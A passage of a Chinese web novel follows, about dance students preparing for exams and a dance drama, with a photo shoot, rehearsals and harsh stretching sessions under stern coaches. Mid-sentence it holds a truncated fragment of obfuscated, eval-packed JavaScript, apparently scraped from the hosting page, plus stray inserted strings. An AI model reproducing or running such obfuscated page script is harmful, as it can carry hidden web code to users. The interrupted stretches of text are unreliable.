褚元又仔细看了眼,果然看见‘裹’字下面点了个点,是这个字写岔了。这还有什么介意的!他激动地不得了,仔细地收好了画,不禁又给萧泽一个熊抱。“这次本来就是请你帮忙拍个照的,你还送这么份大礼,我怎么好意思。” 萧泽笑着打趣他,“不好意思就还我。” 褚元飞了他一眼,珍重地把纸袋子锁到抽屉里,“到了我手里的,哪还有回去的道理。走,到里面去。” 褚元拿起相机,带着萧泽朝里间走去。穿过玻璃隔断,里面是个开阔的拍摄区,灯光背景什么的已经设置的差不多。房间一侧是个超大的办公桌,上面放着两个超大的显示屏,各式数据线和许多照片铺了一桌。‘乱中有序’的样子,很艺术家。 “先给你拍还是先给孩子拍?” 一坐到办公桌前,褚元立刻恢复了专业的模样,边聊着天边把手头几张昨天才拍的照片修出来。 “先给承儿拍吧。” 萧泽翻看着褚元递来的一小叠照片。都是这儿之前拍过的男孩子的一些经典动作,褚元拿来给他参考参考。萧泽抽出几张,朝桌边指了指,“那摞给我。” “那摞都是女孩儿的。” “我知道,拿过来看看。” 褚元“嘶”了一声,犹疑地把照片递给他,“我听说不是去年夏天才跟着你的吗。” 萧泽继续翻看着照片,“他今年就要考舞院,舞感那些熬年头的没办法拔苗助长,基功这些练就有的,不能让他落下啊。” 褚元若有所思地点点头,不禁叹了口气。他和萧泽是附中的同学。后来是觉得自己实在跳不出名堂,又对摄影特别感兴趣,才改行专门做舞蹈摄影的。所以这些苦,他小时候也是吃的够够的,“你这个手啊,黑透了。” 萧泽被他气笑了,“最近是怎么了,一个两个的都说我手黑。” “还有谁啊?” 褚元来了兴致。 “佳姐。” “谁啊,刘茹佳?你怎么和她凑合到一起去了。” “晓希过一阵去比赛,佳姐是指导教师。” “哦哦”,林晓希褚元也是知道的,之前《朔风传》,他去拍了不少照片。“我的天,就刘茹佳那狠劲儿快赶上两个文导了,她还好意思说别人手黑。” 萧泽翻照片的手不禁顿了顿,“晓希那么能吃苦的孩子,让她练得一听到门响就一哆嗦。” 褚元听出不对,停下手里噼里啪啦的鼠标和键盘,“怎么,心疼了?” 萧泽摇摇头,意识到方才片刻的失态。他向来不在背后议人,更何况,他比谁都知道老师对学生的那片心。 “你们啊,都是一个样。”褚元存好照片,起身去调试相机,“放在别人那儿都知道心疼,一到自己手里,就容不得一点沙子。” 他说的有点气上来,忍不住瞪了萧泽一眼,“我和小花以后有孩子,打死不让他学舞蹈。离你们都远远的。” 60. 小陶子上线。。2分钟 调试相机的功夫,助手已经把拍摄场地准备好,褚元回身拿起桌上的小话筒,直通隔壁房间的广播喇叭,“彦承准备好就随时出来哈,不着急。” 没一会儿,彦承就从房间出来了。标准的白背心很短裤,衬着本就比例优越的双腿更加修长。褚元不禁和萧泽碰了下眼神:人总是会被美的事物所吸引,更何况是摄影师。这孩子不仅硬件条件好,浑身上下的线条也纤细流畅,显然、萧泽这一年的锻造功不可没。 彦承按大元哥助手的指挥走到指定的位置,灯光明晃晃地打在他身上,衬得光外的地方一片阴暗。面前不远处的大元哥和萧泽哥也被掩在阴影下,他看着对准自己的黑漆漆的镜头,突然没来由的一阵紧张。 于是耳边‘猝不及防’地响一阵快门声,彦承还没反应过来,褚元已经嘁哩喀喳地拍了十几张。 “这位置可以,左边的板往里转点。” 褚元把相机从眼前拿开,一边看着屏幕一边指挥助手调整光板。彦承有些手足无措地站在中间,想着自己刚刚呆呆的样子都在相机上,不禁脸上发烧。 任何一丝拘谨在摄影师的镜头下总是无所遁形,褚元看着孩子迷茫的小眼神里透着可爱,忍不住笑了。“先拍几张试试,别紧张。这屋里就我们四个,没有外人。” “嗯。” 彦承点点头。大元哥的笑容特别阳光,让人看着就轻松了不少,可他还是忍不住去寻萧泽哥的眼神。萧泽看见便走上前,顺手帮他整理衣服:“大剧院的台你都上了,拍个照还紧张?” 彦承忍不住抿起嘴,小声说,“我也不知道怎么回事儿。可能是你和哥的朋友面前,就特别想表现好。” 萧泽手上一顿,少年突然吐露的心思让他心都跟着柔软起来。他用力捏了捏承儿肩膀,“想表现好就专心。” 拍摄刚开始,褚元只让他做几个简单的技巧动作。彦承完成的中规中矩,只是因为带着紧张,镜头下多少看着有些不协调。感觉是个很奇怪的东西:虽说动作好像都是一板一眼,胳膊放哪儿腿放哪儿都是说好了的,可心情带出的气质,就是每次都会不同,甚至可以穿过镜头传达到图片上。 “宝贝儿啊,还是有点紧张。” 褚元前后翻看着照片,高声念叨着。彦承被他这一声“宝贝儿”叫得有些难为情,忍不住又去看萧泽。 褚元也随着望过去,用胳膊肘怼萧泽,“就你这么严肃把孩子吓的,笑笑行吗!” 萧泽无奈地摇摇头,回手架开他,可转向承儿时却只有短短两个字:“专心。” “你这个人啊……” 褚元手指在空中点了点,懒得理他,自己走上前安抚彦承,“就当在家里练功时候一样。这都没有外人,你小时候你哥还带你出来跟我玩过呢,嗯?咱再试试!” 大元哥的声音很轻,像是要故意藏着两人的悄悄话。彦承有些抱歉地点点头,一是过去那么久,他对小时候的事儿一点印象都没有了,二是拍了好几张还没进入状态,感觉浪费了大家的时间。好在,萧泽哥虽然没有安慰自己,可是严肃的神情却和在练功房里时如出一辙。他心里一怕,反而更集中了。 于是他听大元哥的意见,不想拍的事儿,先自己跳几个小段儿玩玩。把平日里最喜欢的片段都拿出来,就在摄影棚那一小块打着光的地面上跳。没有音乐,他心里哼着,反而也自在。褚元悄悄拿出相机抓拍了几张,忍不住扭头和萧泽小声感叹:“这孩子舞感贼好啊,你刚才还说的像不太行似的。” “我没说不行啊。” 自家弟弟,萧泽心里自然也骄傲。他和褚元又相熟,说话不免比平时轻松许多。 “宝贝儿,脚背再给一点。” 一个很有张力的旁腿动作,褚元抓拍下来,但脚背松了,可惜了。 彦承一愣,知道自己是跳的有点忘形了,连忙点点头,又来了一次。可这次他自己也感觉出来,脚下没站稳。彦承定下神,仔细回忆了下动作要领,又试了两次,可惜,都差点意思。 缪斯女神好像只是短暂地关顾了他一下。 “身体有点凉了吧。” 褚元叫助理把空调温度调高了点。“要不要进去再活动活动。” “没事没事,不用。” 彦承忙不迭地摆手。 萧泽也摇头,“没关系,能做到多少算多少。” 褚元这次却没听萧泽的,反而伸手把他往前推了一把,“哎,去吧。” 他其实猜得到萧泽为什么会是这一副”袖手旁观”的样子,多半是”不想让孩子生出依赖、这么大了要学着自己应对“云云。只是他想以萧泽和钟彦霖的性子,这样逮着机会就教育的事情一定不下少数,那在他这里,就放松一次吧。 萧泽耐不过褚元,领着彦承去了隔壁房间。一进屋,彦承就开始认错,”对不起啊,萧泽哥。给你们丢脸了,也耽误大家时间了。“ 萧泽忍不住揽着他脖颈晃了晃,偏过头打量他霜打茄子一样的表情,”这是怎么了,一个劲儿的道歉。今天一上午的时间都是我们的,不着急。而且——哪有什么丢脸不丢脸的,拍个照而已。你要是不喜欢,出去和大元哥说说,不拍了,别有压力。“ ”不是不是,要拍的!我、我就是——哎我还是赶紧练吧。“ 彦承话没有说完就跑去旁边了。萧泽虽然有些不解,却也没再追问,只在一旁看着他。 ”来吧,过来松松。“ 看着差不多,萧泽冲彦承招招手。彦承应声过来,看着萧泽哥蹲在旁边,手上扶着个两层瑜伽垫卷起来的”筒子“。他会意将一只脚搭上去,矮下身,轻松地滑开了个竖叉;瑜伽垫本就软,这个高度对他来说不算困难。 萧泽脑子里过着方才留意的几个做的不好的动作,绕到了他身后。”来,膝盖先转回来。“ ”哦。“ 彦承闻言将胯()根转回来,膝盖和脚背着地。萧泽勾起他小腿,一手窝着他脚背,然后用自己胫骨卡着他的胫骨蹲跪下去。 啊…… 彦承张张嘴,没发出什么声音,人却不自觉地往前躲。小腿被翻折过来,大腿背面连着胯//根一整块都像触电般疼起来,半个身子都跟着酸软的没劲儿了。萧泽揽着他胸口把人往回带,眉头不禁皱起来,”之前怎么热身的,这么紧?“ 彦承咬咬嘴唇,没有答话,只是尽力放长呼吸,控制自己不去顶哥哥的劲儿。萧泽本也没想在这儿给他压腿,感觉膝下的人有点抖,他眉头不禁更紧,起身松开了。彦承有些心虚地望了眼镜子,只能重新转开膝盖,自己活动。 一侧活动得差不多,便拧过身子转成横叉。萧泽矮下身帮他压了压,一担手,还是一样的紧绷。”怎么回事?“ 敏感如萧泽,自然觉出不对来。 彦承知道瞒不住,也不敢瞒,支吾了一阵,还是照实说了。”我昨晚自己又练了一会儿……“ ”昨晚?“ 昨天晚功与平时一样时间结束,承儿他哪来的时间…… 果然,彦承接着说,”我等你们回房了,又下去偷偷练了一会儿。我想着今天要拍照,就想多压压。“ …… 萧泽松了一口气,却是又生气又无奈。自己练到那么晚,肌肉和韧带极度疲劳,自然会激发”自我保护“。他小心地移开卷筒,将彦承拉起来,”那先别练了,不能跟身体对着干。“ 彦承看着弹开散落在地上的瑜伽垫,嘴唇动了动,欲言又止。 ”萧泽哥……我们今天的照片,会放到艺考申请里面吗?“ 萧泽一愣,好像是明白今天这孩子的反常是怎么回事了。”你是因为这个紧张?“ 彦承抿着嘴,没点头也没摇头。萧泽明白了,不禁暗怪自己没有把话说清楚。”之前答应你大元哥帮他过来拍点东西,我想着带着你,拍着有趣,也可以给你当做纪念。艺考申请当然可以放到里面,但最后决定的还是你上传的录影作品和复试的表现。这个事情怪我,之前没有和你说清楚。今天不要有压力,拍完要不要放到申请里,你自己决定,嗯?“ —————————————————————————————————— 首都舞院和舞团的标准田径操场是两边共用的。一早上,孔爵就顶着日头在操场上跑步,这个天气里,没两圈就能把T恤都湿得透透的。 舞剧开始排练前的一个月,他的日程表就恢复到这样与从前在团时一般的枯燥。 当时接了舞剧后他和两个小编导好好聊了一次,两个孩子都很委婉地表达出他们理想中主人公的形容要再瘦削些。孔爵明白,回去立刻就开始了减肥计划,舞剧开排的那天,他比之前瘦了整整十斤。可这部以他为绝对男一的舞剧的挑战性绝不仅于此:独舞部分技巧眼花缭乱,要的是他的高、飘、准;双人舞三人舞的部分又有许多托举,要的,是他的力量他的稳。想想这段时间每每饿着肚子练素质练体能的日子,孔爵忍不住咂了咂舌,真是难啊… 跑完步饿的前胸贴后背的孔大少去食堂实实在在地吃了顿早餐,然后就直接去了排练厅。无论排练几点开始,他都是一早就自己先来练习的。排练开始一个月,次次都是如此。 孔爵哼着歌推开排练室的门,没想到陶乐钦也在。这小子近来一次来的比一次早,也不知道是抽什么风。孔爵点点头算是打了个招呼,自顾走到一边换鞋,消化食。 陶乐钦的眼神等着孔爵背过身时才追了上去。自从排练开始,每次他到的时候萧泽和孔爵就都已经到了。起初他也没觉得怎样,可过了一周,还是渐渐起了好奇心。于是他开始试着每天早来一点,可每每推开门,孔爵都已经在了,今天还是第一次,赶在 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他知道老师的性子,有事说事,开门见山。 老师的电话在十分钟后打来了:”排练遇到困难要及时和编导沟通。不好提的,可以问孔爵和萧泽,他们都会愿意教你的。我不碰舞蹈很多年,是真的没什么能教你的了。“ ”那您能不能来陪我练/功?您什么都不用做,只要呆在那儿愿意干什么都好……您在的话,我会——我会练得比较专心。“ 电话另一头,是一阵短暂的沉默。”阿乐,你学舞多少年了?要人看着才能练好,说这个话,你自己信吗?“ ”对不起……“ 陶乐钦记得自己是拼命咬着嘴唇挂断电话的。老师后来大抵终究还是说了些安慰的话,可是他却记不清了。他只记得自己格外的懊恼,为什么还是忍不住一次次试探呢?老师从回来到现在,明明已经明里暗里说了许多次不想再碰舞蹈的事了,可他偏要不依不饶地问……他不禁觉得自己没分寸又贪心:从前找不见老师的时候,就想着,只要还能再见一面,再见一面就好。可真的给他见到了,便不禁想要更多。 ”你起个大早来,就为了这么糊弄的?“ 孔爵的声音陡然响起,陶乐钦吓了一跳,抬起头,人正站在不远处看他。 意料之外的,陶乐钦没有跟他顶着干,甚至是有些乖觉地把手机放到一旁,正了正自己走形的姿势。 孔爵看得出他有心事,只是他不在乎。他回头拿出蓝牙小音箱,在手机上调出这几天排过的一些片段的音乐,然后简单活动了下脖颈和脚腕,走到房间中央跳了起来。 陶乐钦在一旁看着,不禁渐渐收紧了眉头,孔爵跳的,是他的那一部分。他没想到,这几天他们练过的,但凡是他的片段,孔爵都一段一段给他跳出来了。 即便是同样的编排,不同的舞者的诠释自然是不同。可孔爵,还是把每一段都演绎出了新的高度。对动作那样精准的把控,那蕴藏在柔韧身体下的力量感,甚至是与音乐共生的呼吸感……然而这仅仅只是他信手拈来的能力而已,毕竟,孔爵不可能把大把时间花在练习别人的片段上。 音乐停下,陶乐钦立刻收回眼神,目光只盯着身前地上的一小块污渍。哪怕是再迟钝,他也明白孔爵是什么意思了。果然,孔爵走过来在他面前坐下了。陶乐钦有些不自在地收回腿,和他相对而坐。两人都没有先开口,一时间,有些沉默。 其实排练两周,除了第一天外,孔爵与他之间还算是和平的。毕竟,剧情上,他们的角色人物关系亲密,编排上,他们更是有大段双人舞。针锋相对,是跳不好的。于是,两人好像默契地进入”止战“状态,抛开杂念,一切为舞剧服务。关系确实缓和了许多,可要说再多的,也没有了。 技巧上有瓶颈的时候,他会捡着偶尔只有萧泽在的时候问。孔爵……好像第一时间就排除了;他不是不记得当初自己怎样”卑微“地想要做他的学生,又怎样被劈头盖脸地拒绝。之前老师回来,这些‘前尘往事’都被一次压下,可如今抬头不见低头见,那些‘难堪’的画面,又怎么能不一遍遍地在他脑海里打转。 见陶乐钦不做声,孔爵也无暇猜他心里想什么,只是开门见山地问,”我刚才跳的那些,你明白么?“ 陶乐钦这次倒回答的很爽快,”我明白。我既然接下了舞剧,就有能力达到编导的们的要求,有能力把他们需要的画面呈现出来。甚至他们想不到的,我也能给。“ 在看到结果前,任何形式的表态在孔爵这里都是”大放厥词“。他不以为意地站起身,没有接话,只是转身时有意无意地看了眼陶乐钦身前的那块垫子。 61. 第57章 转机 九点半,随着张凡和何家齐的到来,排练开始。 ”咱今天这段,算是第一章里面的一段小高BJYXSZD潮,比较重要,情绪也比较浓烈。“ 五分钟的一个小段,其中至少有两分钟是两人一模一样的动作。这样的编排,对动作的一致性和默契要求就特别高。而且如张凡所说,因为情绪比较重,所以是紧凑的一段快板,动作连接紧密,对技巧、体力、和两人的磨合,都是个难关。 ”对不起,我们俩表达有限。“ 张凡和家齐掐着腰站在房间中央,都有点喘。这段是他们昨晚才又敲定下来,前前后后改了好多次。今天排练,估计还是得改。 记动作快仿佛是舞蹈演员的天赋,孔爵和陶乐钦只看了一遍,便记得差不多了。他们分别跟张凡和家齐又捋了捋,这一段就算是学下来了。 于是开始合练前,张凡突然想起什么似的从包里掏出了个小袋子。“我们之前试订的服装出来了,你们正好穿着试试,看有哪里需要改的。” 两个人接过来,分别是一黑一灰两条半身长裙。说是长裙,展开来便是极宽的一段“围”裙,中间割开几条裂口,上沿缝着带子。穿的时候在腰上围上几圈,带子系紧,便成了几层又薄又垂的纱裙了。 孔爵和陶乐钦依样系上,张凡又上去帮他们调了调,几层裂口重叠在一起,刚好在右边腿侧留出空间,不会限制幅大幅度的动作。 “啧啧,又潇洒又仙啊。” 看着镜子里两个又高腰又细的帅哥,连何家齐也忍不住连声赞叹。陶乐钦摸着布料,原地做了几个动作,倒确实是不影响什么。 “孔学长你是不是又瘦了啊?” 张凡看着掐腰站着的孔爵,忍不住问。刚才帮他整理衣服的时候就发现了,几个裂口有些对不齐,是因为他的腰围比之前量的时候又小了点。 她知道孔学长是之前听了他们的意见后就开始减肥的。说实在的,专业舞者的身材都相对维持的不错,孔学长就算是一年没排舞有点小长肉,这中间的余份也不大。所以最开始提起来的时候,他们并没有抱太大的目标,可排练见到那一天,他们着实被吓了一跳,人是肉眼可见的清瘦了不少。 “孔学长您可别再瘦了啊,不然师兄看到肯定饶不了我。” 家齐忍不住打趣,孔爵轻笑着抬脚在他屁股上落了一下,回头还趁机冲张凡扬了扬下巴,“质量不错,不挡腿。” —————— 因为是两人都非常满意的一段编排,本来也不长,所以实际开始排练后的改动并不多,一上午下来也算顺利。可就如张凡所说,技术的难点是其次,两个人要保持动作的高度一致性才是首要。然而恰恰这样复杂的编排,才让同步更加困难:空中的姿态、角度,下意识的动作衔接,它要求的是肌肉记忆的一致性。 那除了练,就没有别的办法。 午饭过后,张凡和家齐去学校那边盯群舞了,下午只剩孔爵和陶乐钦两个自己排练。今天编排的强度比较大,他们练了两个小时,就都像是水里捞出来的。休息间隙,孔爵已经开始换衣服,陶乐钦独自坐在旁边的矮柜上捧着手机看。 一个旁腿、一个后腿、一个撩后腿的翻身,接两个八拍,回身又是一个云门大卷。 这是刚刚录下来的两人最后跳的一遍。 这一段仅仅是四个八拍的动作,就让陶乐钦忍不住皱了皱眉,孔爵的腿在空中舞得像风车,他要怎么跟他“两个人跳成一个人”。 孔爵也知道他自己不满意,没有多说什么,反而拿了两瓶水递给他一瓶。“我有事得先走,回头再跟你合。” 陶乐钦点点头,接过水抿了一口,心头像压了块石头般憋闷。 独自出来闯荡的这些年,他时刻告诉自己:想要什么样的成绩就要拼命去争取,做不到,就不能怨怼失败。对自己看重的东西,他不甘落于人后,所以在舞蹈上,他向来都走在别人前面,何曾从“山尖”上掉下来过?可这一次,他知道,排练的进度,多多少少都是在等他,如今他才成了那个——拖后腿的人。 “今天小叔叔找你了吗?” 孔爵拿了钥匙要走,拉开门,忽然想起什么似的回头问他。 陶乐钦愣了两秒才反应过来他问的是老师,不禁有些诧异地摇摇头,“没有”. 孔爵没说什么,只点了下头,关门出去了。陶乐钦皱起眉,更加疑惑,老师今天应该找他吗?他跑到一旁的包里翻出手机,果然看见有两个老师的未接来电。心里一紧,立刻就播了回去。 “阿乐。” 响了三声,电话被接起来。 陶乐钦握着电话的手紧了紧,“对不起啊老师,我刚一直在排练,没看手机。” “没事,我猜也是。刚结束?“ “嗯。“ 陶乐钦就地盘腿坐下,难得露出乖巧的神色来,“今天时间比较短,下午就我自己练习了。” “哦那正好。”陆海言顿了顿,“晚饭后,你有时间吗?我来学校找你。” 好啊!陶乐钦立刻就想答应 ,可话到嘴边,又想到自己该抓紧时间排练的,不禁有些迟疑。陆海言似是感受到了他的犹豫,又添了一句,“昨天你说,排练上有些困难。” “老师……” 陶乐钦声音一哑,不知怎么的突然就有些哽咽。”对不起老师,我昨天不应该——” 陆海言少有的温声打断他,“我带个人去帮你看看。” 陶乐钦一愣,不禁沉默了好一会儿。其实不是老师……他也不需要任何人。可他实在想见老师,也不想辜负了他的好意,最终,还是重重“嗯”了一声。 “好,那晚上六点,就在你排练的功房。” 陶乐钦挂断电话,却还兀自盯着通话记录的页面发呆。老师,要来看他排练吗?他攥着手机 ,鲜有地又激动又愧疚,更带着隐隐的期待,以至于不曾仔细想过,没有舞校身份的老师,会怎么进舞校的大门,他为什么又会知道他们排练的功房在哪里。 —————————————— 晚上五点二十,草草吃完晚饭的陶乐钦赶回了功房。他晚饭一点没敢多吃 ,感觉差不多消化了,就抓紧热身。六年了,又要在老师面前跳舞,他比任何时候都紧张。 陆海言在六点准时敲响了房门,陶乐钦按回几乎要从喉咙口跳出来的心脏迎到门口,边拉门边颤着声音喊了句“请进”。 陆海言推门进来,陶乐钦眼睛一亮,几乎是有些腼腆地叫了声“老师”,可身影错过,跟在他后面进来的,竟然是孔爵。 “孔——” 陶乐钦一愣,半晌没吐出第二个字。他千想万想没想到,老师带来的人是孔爵。他甚至有些不敢相信地朝他身后又忘了忘,可空荡荡的走廊还是让他不得不把目光挪回孔爵身上。怪不得早前离开时他那样问自己,怪不得——陶乐钦这才陡然意识到,老师怎么一下就找到了这间排练室。 “老师…怎么都,怎么都没跟我说?” 陶乐钦抿着嘴唇轻声问,眼神却有些不自在地瞥向孔爵。不仅老师没有提前说,孔爵也没有,他们甚至几小时前,还在一起排练的。 陆海言笑着呼噜了一把他沾了汗的刘海。“我想着现在能帮到你的,阿爵是最合适的人选。可要是直接问你,又怕你要口是心非。” “我没……” 陶乐钦心里一急,语气就升了两个调。他解释也不是不解释也不是,甚至连一贯的”扑克脸“几乎也沾染了红色。 孔爵从旁看着,不禁低下头挑了挑眉,谁能想到这天天扎着刺的混球,在小叔叔面前是个会脸红的”猫崽子“。 ———————————————————— “看来,你平时练功都是这个状态是吗?” 晚上的孔爵没有穿功服,只着简单的T恤运动裤踩着棉袜,整个人原本透出不少柔和的气息。只是这会儿,他浓重的眉眼一贯收紧,绞着双臂,神色好像比陶乐钦从前见过的,还更加凌厉。这是今天孔爵第二次抓他走神了。 不远处,陆海言抱着笔记本在凳子上工作,好像是对这边的事情全然不感兴趣。可听见这一句,还是抬头朝这边望了望。陶乐钦余光瞟到,不禁一下子收紧手指,却不敢扭头看回去。他知道自己不在状态;今天晚上,他的心思太乱了…… 他许久没在老师面前跳过舞,之前总心心念念地想让他再教自己,可如今真的站在老师面前了,又不知为什么失了方寸:在老师眼里,他是进步了还是 退步了?今时今日的自己,是不是符合老师的期待?哪怕他知道……自从把笔记本放在膝上开始,老师的眼神就不在他身上了。 可他还是忍不住乱想。想孔爵有没有和老师说过他,怎样说的?有没有说他在舞剧排练的表现,有没有说他们之间乱七八糟的冲突。 是啊,还有这个,今天晚上他的“老师”,是孔爵。陶乐钦忍不住去回想他与孔爵的几次“交锋”。第一次,在文导的练功房里,毫无预兆地,他带着一腔期待与骄傲,被批得一无是处;后来是第一次排练,他心里没底却强撑着门面,同样是被他逼得“节节败退”。然后就是近几周的舞剧排练,孔爵 带上了名为“专业“的面具,诡异的“亲切”里带着疏离;还有今天晚上,他拧着眉头,严厉中却又同样诡异地透着亲切。 陶乐钦轻轻叹了口气,他又想到,方才开始的时候,孔爵问他,早上给他跳的那遍,还有什么不懂的。他那时才反应过来,自己早上曲解了意思,甚至还不受激地撂了狠话。 脑海中横飞着这许许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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少年话没说出口,一脸不忿却是写得清清楚楚。孔爵一眼看透他心思,心底的火又被拱了上来。“ 不管它叫什么,不管你以前练没练过,只要你功底够扎实,能力过硬,这就不是什么难事!自己上把杆去! ” 陶乐钦最受不得他这么讲话,眉毛一立眼看着就要呛回去。 房间一侧突然传来“呼啦”的一声,不很响,却把大小两个的注意都吸引了过去。角落里,陆海言正盘坐在地上,在面前展开大大一张图纸。许是突然太安静,过了好几秒,他才后知后觉地抬起头,又恍然大悟般地冲两人晃了晃画筒和手里刚刚展开的图纸,抱歉地笑了笑。 孔爵盯了他片刻,终于长呼一口气,没再说什么。他走到房间一角,敲了敲了把杆,“撩后腿翻身,先试试。” 陶乐钦抿着嘴,没动。他不愿意这样小学生地被孔爵提溜着练,可…… 他也深知这是最基础有效的方法,更知道今天孔爵点出来让他练的,都是他现在差的最多的。再有……他忍不住从镜中打量认真在图纸上标注着什么的老师,他也不想浪费老师的用心。 斗争了片刻,陶乐钦还是走到把杆前,踢了几下后腿活动活动。跟着便双手搭住把杆,左腿从身后上来,一拧身利落地翻了一圈,双手又重新稳稳当当地搭了上去。孔爵点点头,算是肯定,陶乐钦会意,紧跟着又做了一个 。 陶乐钦每个动作之间的间隔并不很短。不管是他自己还是孔爵,都是要求动作的质量多过数量,所以每一遍结束,他都先调整好了呼吸和位置,才做下一个。 “在把杆上练的时候后腿尽量往高了挑,身子也尽量高于把杆。下了把做动作的时候可以适量把上身压低,给腿更多的空间上来。” 孔爵跟在他身侧讲动作要领,打眼看见窗台上有根教鞭,便顺手拿了起来。 “膝盖给直。” “翻身利索一点,太慢了。” ”脚尖。“ ”翻-身-快-一-点!“ 突然拔高的音量伴着耳边破风的声音,双手刚刚才离开把杆的陶乐钦心里一紧,急忙忙拧过身,然后只听“啪”的一声,教鞭堪堪落在他小指边的把杆上。陶乐钦吓了一跳,有些惊恐地扭头去看孔爵,他动作要是再慢一点,这教鞭不就是要挥在他身上? 孔爵的脸色也好看不到哪里去,“说记不住,打能不能记住 ?你回头看看才做了几个” 孔爵在练功房里最不能容忍的,不是学不会,是不长记性,是一个错误重复地犯。 陶乐钦心口憋着气,胸前有些不经意的起伏。可他顺着孔爵手里的教鞭往回看了看,终究还是咬着嘴角,一句话没有说。 一边到头,少年的腰已经有点酸了。孔爵朝房间中央挥挥手,“下把做。” 于是又是把下的撩腿翻身,从房间这角到那角。然后是拉腿蹦子,旋子,最后连起来的云门大卷……等到孔爵让他停了剩下回家练的时候陶乐钦已经连气都喘不匀了。可惜他不知道的是,这一切在孔爵看来,只是日后在萧泽面前的一句“我还没练他呢,只是在教他怎么练。” 所以直到孔爵把练功凳拖出来之前,他一直以为今天已经到此为止了。 62. 第58章 板凳四平八稳地摆在墙边。 陶乐钦只看了一眼就浑身不自在起来。 孔爵平日里看他的眼神就像是在看个骄矜畏难的二世祖,可其实这些……他一点也不陌生;练舞的苦,他也是一样从小吃过来的—— 他大概从未和人说过,老师走后,初到神崎工作室的那几个月里,他的日子一点也不太平。长幼尊卑秩序森严的工作室里,“前辈们”总会想方设法地宣示自己的权威——师兄们带着新入门的小孩练功,就是最光明正大又理所应当的办法。推到墙边压腿,拎到房间中间练体能。垫子一块块加,蛙跳一圈圈跳,什么样自视甚高的孩子都能痛哭流涕地服软。 陶乐钦偏偏是个特例。 从他踏进工作室的那一刻起,那副“不冷不热”的样子就让前辈们纷纷看不顺眼了:申考三次才被通过的中国姓男孩,不知道骄傲个什么。于是师兄们的精力纷纷都放到了他身上,倒是让其他人都松了口气。 彼时的陶乐钦虽然年少,却已然有了自己的一套在集体生活中处事的法则。无论师兄们怎样变本加厉地折腾他,他既不反抗,也不松口。哪怕是第一周里每天都被练得要靠着扶手迈下电车站的楼梯,他也不曾让司机接送一次。不许父亲干涉他学舞的事情,一直是他最基本的底线。因此除了神崎先生本人外,整个工作室也没人知道,这个每日被“修理”的狼狈不堪的“硬骨头”,是小田切家最受宠的小儿子。 然而三个月后,陶乐钦第一次在全馆的测验中让神崎先生另眼相看;六个月后,顺利成为他老人家最青睐的学生,得以越过资历与年纪、成为整个工作室最名副其实的“前辈“。 ----------------------- “我自己能练。” 陶乐钦喉结动了动,声音一反常态地轻。 孔爵半个身子探进墙边的矮柜里,从里面拽了两根绑脚踝的沙袋出来。听见这话,不禁在鼻尖冷哼了一声:自己能练,那练了这么久,练出什么来了?只是他今天实在是累了,不愿意和小孩子争口舌,只起身把沙袋放在凳子上,“先横叉,再旁腿,你自己准备好。” 跳了一天了,还有什么好准备的。陶乐钦抬着膝盖活动了下关节,便把沙袋缠到脚腕上,认命地躺上了长凳。双腿直直打开个横叉,又借着沙袋的重量往下颤了几下。 孔爵等他自己耗了一会儿才过来,双手扶着他膝盖压了两下,眉间就蹙了起来——分明是挺软的,甚至比思思和承儿都强些。那平日里的功真是都花到狗肚子里去了。 孔爵心里有了底,下手也大胆了,三两下就压着他下了一截。再用力,却卡住了。偏头扫了眼,陶乐钦两个手臂撑着膝盖,不愿意下了。 “手拿开”,孔爵脸色并不好看,“不然我叫你老师来压。” 陶乐钦一愣,有些没反应过来。可下一秒,眼看着孔爵起身就要走,吓得他连忙抓住他手腕,“你别!” 孔爵也不说话,只瞟了眼自己手腕,由他拽着。相持了片刻,陶乐钦才犹豫地松了手,瞪着孔爵低声说到:“你不能让我受伤。” 孔爵懒得理他,扶着他胯把人往后拖了拖,矮身钻进了把干里。“手放好。“ 陶乐钦闻言不禁抿起嘴,将双手扣在头顶。下一秒,孔爵已经撑着把干,站到他膝盖以上一点点的位置。 重量一点点加上来,力道尽数吃在胯间。感受着逐渐打开的双腿一点点唤醒周身疼痛的神经,陶乐钦微微皱起眉,呼吸也跟着沉重起来。 孔爵虽然是第一次给他压腿,对他的程度却好像一清二楚。几乎是一下子就把他带出了自己平日练功时的“舒适区“。可……陶乐钦不经意地咽了下口水,有些紧张:相比髋关节的酸痛和大腿内侧的阵阵撕裂感,他更担心的,是受伤。 “呃!“继续向下的某一处,左腿突然有根筋尖锐地痛起来,陶乐钦心里一紧,一声轻呼脱口而出。 孔爵放轻右脚的重量,让他回了点,“怎么了?” 陶乐钦撤开下意识攀上腿根的手,大概因为好面子,语声有些含糊,“有一块儿,特别疼。” 孔爵撑着把干,拿捏着力道试探了几下,“以前拉伤过?” 脚下的人包着嘴角,极轻地嗯了一声。 孔爵点点头,云淡风轻地说了句没事,便把重心重新挪了回来。陶乐钦只得咬着牙……感受着锐痛随着左腿一点点向下而成倍地加剧,却又渐渐在越过某一点后,混进胯间铺天盖地的撕扯中,变得不那么引人注意了。 “嗯……”少年唇齿间散出细碎的呻(2020)吟。 陶乐钦偏过头咬住嘴唇,狠狠盯着地上的一小块污渍,尽力把声音压了回去。他知道自己在抖……这种身体不受控制的狼狈,他格外讨厌。 双膝下沉的距离已经超过了平时练习的程度,因为极尽外展而相互挤压的胯骨,像是被人用电钻钻进骨缝般。陶乐钦抠着凳沿忍不住曲了下膝盖,只觉得膝窝那里倏地弹了一下,酸麻大于疼痛的感觉,吓得他心里一紧。 “膝盖挺直了!”孔爵也感受到脚下轻微的一下瑟缩,语气立时冷了几分。 惩罚般的,落在腿上的力气仿佛又重了。“啊…”陶乐钦猛地仰过头,下意识地痛呼其实只是卡在喉咙口的一声气音。可韧带仿佛被割裂出无数个伤口,随着每一次呼吸越发破碎着。少年终于忍不住拗起腰背,胯也不自觉努力向前送着,似是可以缓解些难捱的疼痛。姿势却终究走形地不成样子。 孔爵险些被他掀得滑下去,连忙眼疾手快地撑住把干,“肚子收回去,别逼我上脚踩。”他有时真是不懂,陶乐钦也算是从小学舞,名师指点,更是同龄人中的佼佼者。可怎么一点好的习惯没养成,练功时候的低级错误多的令人发指。 也不知道是没听清还是不肯动,少年抖着身子僵持在原地,腰腹却不见半点收回去的意思。孔爵终于失了耐心,抵着把干弯下身,双手扶着他腰侧,把人直直地按了回去。“张口闭口不要受伤,你再这么折腾我保你受伤!” 